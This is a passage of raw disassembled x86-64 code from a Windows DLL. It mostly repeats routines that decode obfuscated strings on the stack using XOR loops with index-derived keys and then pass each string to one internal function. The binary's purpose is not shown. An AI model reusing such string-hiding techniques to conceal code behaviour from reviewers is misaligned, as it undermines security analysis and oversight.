movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a7150
cmp r8d, 0x14
jge 0x1800a7294
movsxd rax, r8d
lea r9, [rbp + 0x2448]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1800a7260
lea rdx, str.ZS_QD_
lea rcx, [rbp + 0x2448]
call fcn.180007380
mov eax, dword [0x1801c44f8]
mov r8d, r14d
mov dword [rbp + 0x24a0], eax
movzx eax, byte [0x1801c44fc]
mov byte [rbp + 0x24a4], al
movups xmm0, xmmword [0x1801c44e8]
movups xmmword [rbp + 0x2490], xmm0
cmp r12d, 2
jl 0x1800a73eb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2494]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a72f0
cmp r8d, 0x15
jge 0x1800a7434
movsxd rax, r8d
lea r9, [rbp + 0x2490]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800a7400
lea rdx, [0x180249534]
lea rcx, [rbp + 0x2490]
call fcn.180007380
movzx eax, byte [0x1801c4510]
mov r8d, r14d
mov byte [rbp + 0x1fa8], al
movups xmm0, xmmword [0x1801c4500]
movups xmmword [rbp + 0x1f98], xmm0
cmp r12d, 2
jl 0x1800a757c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f9c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a7481
cmp r8d, 0x11
jge 0x1800a75c4
movsxd rax, r8d
lea r9, [rbp + 0x1f98]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a7590
lea rdx, [0x180249540]
lea rcx, [rbp + 0x1f98]
call fcn.180007380
cmp byte [0x1801c4529], r14b
movups xmm0, xmmword [0x1801c4518]
movzx eax, word [0x1801c4528]
mov word [rbp + 0x21b8], ax
movups xmmword [rbp + 0x21a8], xmm0
je 0x1800a7764
mov r8d, r14d
cmp r12d, 2
jl 0x1800a771b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x21ac]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a7620
cmp r8d, 0x12
jge 0x1800a7764
movsxd rax, r8d
lea r9, [rbp + 0x21a8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a7730
lea rdx, [0x180249544]
lea rcx, [rbp + 0x21a8]
call fcn.180007380
mov eax, dword [0x1801c4538]
mov r8d, r14d
movsd xmm0, qword [0x1801c4530]
mov dword [rbp + 0x1cc8], eax
movzx eax, word [0x1801c453c]
mov word [rbp + 0x1ccc], ax
movzx eax, byte [0x1801c453e]
mov byte [rbp + 0x1cce], al
movsd qword [rbp + 0x1cc0], xmm0
cmp r12d, 2
jl 0x1800a78a8
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4530]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1cc0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1cc4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1cc4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1cc0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a78c0
lea rdx, [0x180249538]
lea rcx, [rbp + 0x1cc0]
call fcn.180007380
movzx eax, byte [0x1801c4550]
mov r8d, r14d
mov byte [rbp + 0x1fc0], al
movups xmm0, xmmword [str.rXOW]
movups xmmword [rbp + 0x1fb0], xmm0
cmp r12d, 2
jl 0x1800a7a3c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1fb4]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a7941
cmp r8d, 0x11
jge 0x1800a7a84
movsxd rax, r8d
lea r9, [rbp + 0x1fb0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a7a50
lea rdx, [0x18024953c]
lea rcx, [rbp + 0x1fb0]
call fcn.180007380
movaps xmm0, xmm8
call fcn.180008a70
mov eax, dword [str.V._B]
mov r8d, r14d
movsd xmm0, qword [str.pE_YZQ]
mov dword [rbp + 0x1918], eax
movzx eax, byte [0x1801c4564]
mov byte [rbp + 0x191c], al
movsd qword [rbp + 0x1910], xmm0
cmp r12d, 2
jl 0x1800a7bc3
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pE_YZQ]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1910], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1914]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1914], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1910]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a7bd0
lea rdx, [0x180249548]
lea rcx, [rbp + 0x1910]
call fcn.180007380
mov eax, dword [0x1801c4578]
mov r8d, r14d
mov dword [rbp + 0x2578], eax
movzx eax, byte [0x1801c457c]
mov byte [rbp + 0x257c], al
movups xmm0, xmmword [str.pXJN_IX]
movups xmmword [rbp + 0x2568], xmm0
cmp r12d, 2
jl 0x1800a7d5b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x256c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a7c60
cmp r8d, 0x15
jge 0x1800a7da4
movsxd rax, r8d
lea r9, [rbp + 0x2568]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800a7d70
lea rdx, str.ZS_QD
lea rcx, [rbp + 0x2568]
call fcn.180007380
cmp byte [0x1801c4595], r14b
mov eax, dword [0x1801c4590]
movups xmm0, xmmword [str.tV_RMZNY]
mov dword [rbp + 0x2590], eax
movzx eax, word [0x1801c4594]
movups xmmword [rbp + 0x2580], xmm0
mov word [rbp + 0x2594], ax
je 0x1800a7f54
mov r8d, r14d
cmp r12d, 2
jl 0x1800a7f0b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2584]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a7e10
cmp r8d, 0x16
jge 0x1800a7f54
movsxd rax, r8d
lea r9, [rbp + 0x2580]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1800a7f20
lea rdx, [0x180249554]
lea rcx, [rbp + 0x2580]
call fcn.180007380
cmp byte [0x1801c45a9], r14b
movups xmm0, xmmword [str.zRM]
movzx eax, word [0x1801c45a8]
mov word [rbp + 0x21d0], ax
movups xmmword [rbp + 0x21c0], xmm0
je 0x1800a80f4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a80ab
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x21c4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a7fb0
cmp r8d, 0x12
jge 0x1800a80f4
movsxd rax, r8d
lea r9, [rbp + 0x21c0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a80c0
lea rdx, [0x180249560]
lea rcx, [rbp + 0x21c0]
call fcn.180007380
movzx eax, word [0x1801c45c0]
mov r8d, r14d
mov word [rbp + 0x2338], ax
movzx eax, byte [0x1801c45c2]
mov byte [rbp + 0x233a], al
movups xmm0, xmmword [str.d_QN]
movups xmmword [rbp + 0x2328], xmm0
cmp r12d, 2
jl 0x1800a824b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x232c]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a8150
cmp r8d, 0x13
jge 0x1800a8294
movsxd rax, r8d
lea r9, [rbp + 0x2328]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800a8260
lea rdx, [0x180249564]
lea rcx, [rbp + 0x2328]
call fcn.180007380
movups xmm0, xmmword [0x1801c45c8]
movups xmmword [rbp + 0x1e20], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a8424
cmp r12d, 2
jl 0x1800a83e5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1e24]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a82f0
jmp 0x1800a8424
lea r9, [rbp + 0x1e20]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a83f0
lea rdx, [0x180249558]
lea rcx, [rbp + 0x1e20]
call fcn.180007380
cmp byte [0x1801c45e9], r14b
movups xmm0, xmmword [0x1801c45d8]
movzx eax, word [0x1801c45e8]
mov word [rbp + 0x2200], ax
movups xmmword [rbp + 0x21f0], xmm0
je 0x1800a85c4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a857b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x21f4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
